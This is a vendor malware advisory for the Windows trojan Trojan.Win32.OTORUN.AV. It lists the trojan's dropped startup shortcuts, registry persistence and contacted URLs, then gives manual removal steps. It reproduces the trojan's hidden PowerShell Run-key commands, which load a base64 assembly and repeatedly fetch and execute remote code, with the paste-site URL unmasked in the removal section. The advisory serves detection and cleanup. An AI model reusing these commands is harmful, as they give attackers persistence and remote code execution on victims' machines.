Trojan.Win32.OTORUN.AV

 Analysis by: Arvin Roi Macaraeg

 ALIASES:

Trojan:Win32/Boshaud.A!bit(Microsoft), Trojan-Downloader.Win32.AutoIt.ann(Kaspersky)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

920,064 bytes

File Type:

EXE

Memory Resident:

No

Initial Samples Received Date:

26 Mar 2019

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • %User Startup%\sCloud.lnk
  • %User Startup%\nCloud.lnk
  • %User Startup%\rCloud.lnk

(Note: %User Startup% is the current user's Startup folder, which is usually C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup on Windows NT, C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows XP, or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, and 8.)

Autostart Technique

This Trojan adds the following registry entries to enable its automatic execution at every system startup:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
nCloud = "cmd /c start /min powershell -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software).Vx)).EntryPoint.Invoke($Null,$Null)"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
rCloud = "cmd /c start /min powershell -EP b -w hidden -noexit -C for(;;){try{IEX((new-object net.webclient).downloadstring('https://{BLOCKED}e.com/plain/sF4RBX'))}catch{}Start-Sleep 200}"

Other System Modifications

This Trojan adds the following registry entries as part of its installation routine:

HKEY_CURRENT_USER\Software
Vx = {Base-64 encoded}

Other Details

This Trojan connects to the following possibly malicious URL:

  • https://{BLOCKED}e.com/plain/sF4RBX
  • https://{BLOCKED}t.io/snippets/ezfhibwlko/raw/main.c
  • http://murtad.{BLOCKED}ges.com/1.txt

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

14.894.03

FIRST VSAPI PATTERN DATE:

25 Mar 2019

VSAPI OPR PATTERN File:

14.895.00

VSAPI OPR PATTERN Date:

26 Mar 2019

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Identify and terminate files detected as Trojan.Win32.OTORUN.AV

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 4

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software
    • Vx = {Base-64 encoded}
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • nCloud = cmd /c start /min powershell -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software).Vx)).EntryPoint.Invoke($Null,$Null)
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • rCloud = cmd /c start /min powershell -EP b -w hidden -noexit -C for(;;){try{IEX((new-object net.webclient).downloadstring('https://ideone.com/plain/sF4RBX'))}catch{}Start-Sleep 200}

Step 5

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %User Startup%\sCloud.lnk
  • %User Startup%\nCloud.lnk
  • %User Startup%\rCloud.lnk

Step 6

Scan your computer with your Trend Micro product to delete files detected as Trojan.Win32.OTORUN.AV. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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